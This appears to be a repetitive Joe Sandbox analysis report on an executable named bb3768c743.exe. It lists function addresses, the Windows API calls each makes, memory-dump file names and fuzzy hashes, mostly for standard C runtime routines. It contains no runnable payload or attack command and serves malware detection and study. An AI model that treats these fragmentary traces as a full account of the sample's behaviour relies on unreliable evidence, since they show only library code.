___AdjustPointer.LIBCMT ref: 0043D999
___AdjustPointer.LIBCMT ref: 0043DA35

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c762ce7e1106e305253193aaaa02c2369f9f5bd17ba90a37a139bd41a22ac9d1
Instruction ID: 3d7a2be5c2d15702447078d872c8e2b7a799e1b9b3d4d25f14d10babd9f997e7
Opcode Fuzzy Hash: c762ce7e1106e305253193aaaa02c2369f9f5bd17ba90a37a139bd41a22ac9d1
Instruction Fuzzy Hash: 1D51F3B2E04605AFDB299F11E841B6B77B4EF0C314F24502FE8425B291D739ED41C799

Function 00443537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0044359B
__dosmaperr.LIBCMT ref: 004435A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 004435DC
__dosmaperr.LIBCMT ref: 004435E3

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b49dc8237c1380672a0feb98a6b1a7cd60afe03fe951d60b975af5132e84381c
Instruction ID: 157e2afe02c961017a949284ca04481d310202b2d8a98d83e7db99b3bba4605d
Opcode Fuzzy Hash: b49dc8237c1380672a0feb98a6b1a7cd60afe03fe951d60b975af5132e84381c
Instruction Fuzzy Hash: 3E210A71600605BFEB20AF66884182BB7A9FF04B6AB10851FF86597641D738EF108799

Function 00438042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ed61d7a0d1083e87e1254920981cdb4440b2754b5715dd4f377c2264e7a3cc
Instruction ID: a10829cdf41c88670e426bbd11a669708a9789afc87a5eafb953f32e86fdad42
Opcode Fuzzy Hash: 91ed61d7a0d1083e87e1254920981cdb4440b2754b5715dd4f377c2264e7a3cc
Instruction Fuzzy Hash: D421D4B1200315AFDB24AF628C4082BB769AF48368F11952FF86597251DF38EC118799

Function 0044484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00444857

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004448AF

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 5a0992d2feb6220c1e51871c54a37e2eb88b6dcc7c2679f52ef809300e29a8a3
Instruction ID: 3e49e0363caaf57486e164fd6991ba2502f7c4baa99f6d31f8061163f1f31813
Opcode Fuzzy Hash: 5a0992d2feb6220c1e51871c54a37e2eb88b6dcc7c2679f52ef809300e29a8a3
Instruction Fuzzy Hash: 831121EA5032647F76113BB79C8EDAF295CCED839A720003AF401D1202EA6CDE01827D

Function 0043457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00434582
std::_Lockit::_Lockit.LIBCPMT ref: 0043458C

Part of subcall function 004324C2: std::_Lockit::_Lockit.LIBCPMT ref: 004324DE
Part of subcall function 004324C2: std::_Lockit::~_Lockit.LIBCPMT ref: 004324F7

codecvt.LIBCPMT ref: 004345C6
std::_Lockit::~_Lockit.LIBCPMT ref: 004345FD

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 1a730b0aa7e6d9179178189106f8dcf53bd5d112ed36abac75ce62ec693549bd
Instruction ID: 5ed56a876d94add222fcea6ecb874c2495daed5c4a9f4bce83d23582d4afa920
Opcode Fuzzy Hash: 1a730b0aa7e6d9179178189106f8dcf53bd5d112ed36abac75ce62ec693549bd
Instruction Fuzzy Hash: C30100319002159BCB00EFA5D9166AE7771FF98314F20550FE411A7391CFBCAE018B99

Function 0044A4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000), ref: 0044A4F7
GetLastError.KERNEL32(?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?,?,?,00445365,00000000), ref: 0044A503

Part of subcall function 0044A554: CloseHandle.KERNEL32(FFFFFFFE,0044A513,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?,?), ref: 0044A564

___initconout.LIBCMT ref: 0044A513

Part of subcall function 0044A535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0044A4D1,00449AFC,?,?,00445A1F,?,00000000,00000000,?), ref: 0044A548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?), ref: 0044A528

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0c03a3c278bfda6165111557637b303d40f5200435a5783638a359c00099c90c
Instruction ID: 24863e68022eef72db8d23077dbf11d20cbb30ee9bdb877323eb75995af2dc59
Opcode Fuzzy Hash: 0c03a3c278bfda6165111557637b303d40f5200435a5783638a359c00099c90c
Instruction Fuzzy Hash: 14F03776050315BFDF222F95EC0499E3F26FF483A2F414161F90985131DA31CD309B9A

Function 004359A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004359B9
GetCurrentThreadId.KERNEL32 ref: 004359C8
GetCurrentProcessId.KERNEL32 ref: 004359D1
QueryPerformanceCounter.KERNEL32(?), ref: 004359DE

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a56b0564731a38f0436ab5ced14ff10679cc3c0e1535cbbedd8bb27c7a51a764
Instruction ID: b885dadc835023fa018ffcde135ebfb45680b635ae0549553eadb069dc468af5
Opcode Fuzzy Hash: a56b0564731a38f0436ab5ced14ff10679cc3c0e1535cbbedd8bb27c7a51a764
Instruction Fuzzy Hash: 28F0AFB0D1120CEBCB00DFB4C94998EFBF4FF1C206B9149A6A412E7111E630EB448F50

Function 00442117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00439266,?,?,?,00000055,?,-00000050,?,?,?), ref: 004421D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00439266,?,?,?,00000055,?,-00000050,?,?), ref: 0044220D

Strings

utf8, xrefs: 004422DF

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 3340d5ca97c375ee6fbec1ed2be21bc64233a353818b9a24b9a35b432a6dbec3
Instruction ID: 8c45c8bcdcd97328c6f6a0423fead645c47a845a12b3196b73ec6c0350114d6b
Opcode Fuzzy Hash: 3340d5ca97c375ee6fbec1ed2be21bc64233a353818b9a24b9a35b432a6dbec3
Instruction Fuzzy Hash: 0251F771640301AAF724AF758E42BAB72A8FF44705F94042FFA05D7281EAFCE940866D

Function 0043DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0043DEAD,?,?,00000000,00000000,00000000,?), ref: 0043DFD1

Strings

RCC, xrefs: 0043DFEB
MOC, xrefs: 0043DFE3

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 9b053a5542f29ac41ea67c7d4db07b2d9ecb642ebf2795e1b81c045ca47a79d7
Instruction ID: 4b0ce152d1de89138c3e429024c2aa7b27c146cce4402f86241e4be03b89dfe7
Opcode Fuzzy Hash: 9b053a5542f29ac41ea67c7d4db07b2d9ecb642ebf2795e1b81c045ca47a79d7
Instruction Fuzzy Hash: 0C419A71901218AFCF2ADF95DC81AEEBBB5FF08304F18905AFA046B2A1D3799950DB54

Function 0043D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0043DA8F

Strings

csm, xrefs: 0043DAB1
csm, xrefs: 0043DB22

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 4e7e4dbbfd103784c6427c9695b5bb080a8076c3fe847fea045f273fefa20a6d
Instruction ID: bdb77e7eb86d369ab4396db1e5b0c79c7dffec92a528161ba73b55c49733d189
Opcode Fuzzy Hash: 4e7e4dbbfd103784c6427c9695b5bb080a8076c3fe847fea045f273fefa20a6d
Instruction Fuzzy Hash: 9F31E432D003489BCF229F50ED409ABBB65FF0D365F19516BF8544A221C33AEC61DB99

Function 004329C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00434B74
___raise_securityfailure.LIBCMT ref: 00434C5C

Strings

xfE, xrefs: 00434C57

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xfE
API String ID: 3761405300-2427623876
Opcode ID: a58266a2563b5a74fcbfe21bcf1f825cd74848cb93cc9049ba251fdbfa8df808
Instruction ID: 157916ba8a5f6106c371bfd8f8692e069822411c37122a13002116f4ddce5727
Opcode Fuzzy Hash: a58266a2563b5a74fcbfe21bcf1f825cd74848cb93cc9049ba251fdbfa8df808
Instruction Fuzzy Hash: 3621CCB45013009BE740DF25E9956547BF4FB4C31AF92A13AE5088B2A2E3B5E880CF4C

Function 00434A8C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00434A97
___raise_securityfailure.LIBCMT ref: 00434B54

Strings

xfE, xrefs: 00434B4F

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xfE
API String ID: 3761405300-2427623876
Opcode ID: 19a6fc837e594fc907cc914d9ea37d3f6080919984d443c5aba890917ecc5b88
Instruction ID: f33f1d7eccf2827359569422b8bb251f4335239266be4e1a6340501dc0134c8a
Opcode Fuzzy Hash: 19a6fc837e594fc907cc914d9ea37d3f6080919984d443c5aba890917ecc5b88
Instruction Fuzzy Hash: DB1199B45113049BD740DF29E9816803BF4FB5C30AB82A17AE808873A2E7B5E941CF4D

Function 004329D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0045648C,ios_base::badbit set,?,?,00431C84,00456478,00431B17), ref: 004329DF
ReleaseSRWLockExclusive.KERNEL32(0045648C,?,?,00431C84,00456478,00431B17), ref: 00432A19

Strings

ios_base::badbit set, xrefs: 004329D8

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: e9cf4e24cc428876a47f97ed97ed323ff61b685fcd2d2f5e21f6c6c735562dcd
Instruction ID: a3912bec1d4fa17aa7b3eff6b2bc367a86b3bd80515a426c3a949377dff4f847
Opcode Fuzzy Hash: e9cf4e24cc428876a47f97ed97ed323ff61b685fcd2d2f5e21f6c6c735562dcd
Instruction Fuzzy Hash: 66F08270600200DBC720AF18E904A267B78FB49776F10133FE89A433A1C7795842CA5D

Function 004388A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 004388A7
GetCommandLineW.KERNEL32 ref: 004388B2

Strings

5, xrefs: 004388AD

Memory Dump Source

Source File: 0000000F.00000002.7293109893.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 0000000F.00000002.7290783321.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293528116.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7293677743.0000000000455000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294399364.0000000000456000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294484761.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294546450.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.7294619079.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_430000_bb3768c743.jbxd

Similarity

API ID: CommandLine
String ID: 5
API String ID: 3253501508-3632891597
Opcode ID: 63923df46ee73f2c0722568b9dcb0d69d1cb25d81028fed2b8668c71d7e4d635
Instruction ID: 38e841644f36f8d1f1ab1adab6dccc1a83b52662a165be3b8bfecab8f9ce8db2
Opcode Fuzzy Hash: 63923df46ee73f2c0722568b9dcb0d69d1cb25d81028fed2b8668c71d7e4d635
Instruction Fuzzy Hash: D6B092F8801300CFDB40CF30B80C2453BA0B20A2433C18176D822D3B62D675C940CF08

Analysis Process: bb3768c743.exePID: 1088, Parent PID: 6828COMMON

Non-executed Functions

Function 00443178 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00442B49,00000002,00000000,?,?,?,00442B49,?,00000000), ref: 00443211
GetLocaleInfoW.KERNEL32(?,20001004,00442B49,00000002,00000000,?,?,?,00442B49,?,00000000), ref: 0044323A
GetACP.KERNEL32(?,?,00442B49,?,00000000), ref: 0044324F

Strings

OCP, xrefs: 004431CC
ACP, xrefs: 00443196

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 333822ff7bfcac73690292d6cb9649478a1a955cc5870b1d925d258c52d36b0d
Instruction ID: 0e35ecee16c534596d4af0f02821469a2c6397687ccc4a84edfb49edd277362f
Opcode Fuzzy Hash: 333822ff7bfcac73690292d6cb9649478a1a955cc5870b1d925d258c52d36b0d
Instruction Fuzzy Hash: 8121CF72600101AAFB34CF54D905BABB3A6BF50F53B2684A6E90AC7210E77ADF41C358

Function 00442A13 Relevance: 7.7, APIs: 5, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00442B1B
IsValidCodePage.KERNEL32(00000000), ref: 00442B59
IsValidLocale.KERNEL32(?,00000001), ref: 00442B6C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00442BB4
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00442BCF

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
